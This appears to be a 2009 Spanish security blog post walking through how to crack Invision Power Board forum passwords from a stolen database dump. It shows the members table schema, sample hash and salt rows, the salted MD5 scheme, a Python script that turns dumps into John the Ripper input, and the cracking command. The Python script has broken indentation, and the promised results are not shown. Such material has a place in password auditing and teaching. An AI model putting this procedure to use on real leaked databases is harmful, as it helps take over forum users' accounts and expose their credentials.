Rompiendo contraseñas en Invision PowerBoard

0

Visto 3564 veces | Publicado el 27/10/2009 | cifrado pentest hacking cracking


En este artículo se explica cómo romper las contraseñas almacenadas en la base de datos del software Invision Power Board (IPB) a partir de un volcado de la base de datos. Vamos a suponer que ya se ha tenido acceso a la base de datos de usuarios ya sea por haber utilizado algún exploit para la versión correspondiente, por un descuido del administrador del foro o por una extraña combinación de casualidades metafísicas.

Invision Powerboard es un software GNU para crear foros bastante extendido. Se pueden consultar sus principales características en la página:

http://www.invisionpower.com/products/board/


La tabla donde se almacenan los datos que se necesitarán para obtener los hashes de las contraseñas es "ibf_members_converge".

Esta tabla tiene la siguiente estructura:

-- Table structure for table `ibf_members_converge`
--

CREATE TABLE ibf_members_converge (
  converge_id int(10) NOT NULL auto_increment,
  converge_email varchar(250) NOT NULL default '',
  converge_joined int(10) NOT NULL default '0',
  converge_pass_hash varchar(32) NOT NULL default '',
  converge_pass_salt varchar(5) NOT NULL default '',
  PRIMARY KEY  (converge_id),
  KEY converge_email (converge_email)
) TYPE=MyISAM;

En dicha tabla existen entradas como la siguiente:

INSERT INTO `ibf_members_converge` VALUES(1, 'hacktimesrox@hacktimes.com', 1189360973, '215b9a28aa8c3b090a5da6fcac4fc43c', 'Xz9fn');

El formato de las contraseñas almacenadas en Invision Powerboard según los foros de Invision es:

http://community.invisionpower.com/topic/282468-database-encryption/page__hl__salt__fromsearch__1

md5 (md5(salt) + md5(password))

El Salt está compuesto por una cadena de 5 caracteres.


Lo más habitual es usar el conocido programa para crackear contraseñas John the Ripper. El formato que utiliza John the Ripper para romper estas contraseñas es:


/*
 * IPB2_fmt.c (version 4)
 *
 * Invision Power Board 2.x salted MD5 module for Solar Designer's JtR
 * Uses Solar Designer's MD5 implementation.
 * regenrecht at o2.pl, Jan 2006
 *
 * Hashes list should have form of username:$IPB2$salt$hash
 * Values to be taken from IPB database, where:
 * salt = bin2hex(ibf_members_converge.converge_pass_salt)
 * hash = ibf_members_converge.converge_pass_hash
 */
(Extraido del fichero john-1.7.3.4/src/IPB2_fmt.c)


Supongamos que tenemos un fichero con el contenido de la tabla ibf_members_converge como el siguiente:


(1,'hacktimes@hacktimes.com',1189360973,'215b9a28aa8c3b090a5da6fcac4fc43c','Xz9fn');
(2,'user2@hacktimes.com',1139220558,'7a4998d114b71f08d61348e6ffc4ec7b','4G1;+');
(3,'user3@hacktimes.com',1139222200,'27407d767c00249ff45043560b8eed5d','unTFF');
(4,'user4@hacktimes.com',1139246973,'f605f8036667a7e87a76173987efd32f','Y(R,(');
(6,'user5@hacktimes.com',1139252059,'15dcf0ea301591f2b12c5037142ac4e9','~q#14');

Se podría utilizar el siguiente script para formatear el anterior fichero para que se pueda utilizar como entrada
para john the ripper con el Jumbo Patch.

 

#!/usr/bin/env python
#-*- coding: utf-8 -*-
## leeched from ilo--
## El Salt irá encodeado en hexadecimal.
## Ruta al fichero
fichero = open ('/home/test/pruebas.txt')
def toHex(s):
    lst = [ ]
    for ch in s:
        hv = hex(ord(ch)).replace('0x', '')
        if len(hv) == 1:
            hv = '0'+hv
        lst.append(hv)   
    return reduce(lambda x,y:x+y, lst)

for linea in fichero.readlines():
    try:   
        cad = linea.split(",")
    user = cad[1].replace("'","")
    hash = cad[3].replace("'","")
    salt = cad[4].replace("'","").split(");")[0]
    salt_encoded = toHex(salt)
    entrada = user + ":$IPB2$" + salt_encoded +"$" + hash
    print entrada
    except:
        print "Se produjo un error o fin de fichero"

Redirigimos la salida a un fichero de texto con:

./ipb2converter.py > salida.txt
El contenido de salida.txt sería algo como lo siguiente:

hacktimes@hacktimes.com:$IPB2$587a39666e$215b9a28aa8c3b090a5da6fcac4fc43c
user2@hacktimes.com:$IPB2$3447313b2b$7a4998d114b71f08d61348e6ffc4ec7b
user3@hacktimes.com:$IPB2$756e544646$27407d767c00249ff45043560b8eed5d
user4@hacktimes.com:$IPB2$592852$f605f8036667a7e87a76173987efd32f
user5@hacktimes.com:$IPB2$7e71233134$15dcf0ea301591f2b12c5037142ac4e9


Descargamos el software John The Ripper y aplicamos el Jumbo Patch:

http://www.openwall.com/john/

http://www.openwall.com/john/contrib/john-1.7.3.4-jumbo-1.diff.gz

http://openwall.info/wiki/john/how-to-extract-tarballs-and-apply-patches

Por último, comenzamos a crackear las contraseñas como sigue:

./john salida.txt
... y a esperar los resultados...

La salida sería algo similar a... (cualquier parecido con la realidad es pura coincidencia)

 

 



Añadir comentario










captcha


Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons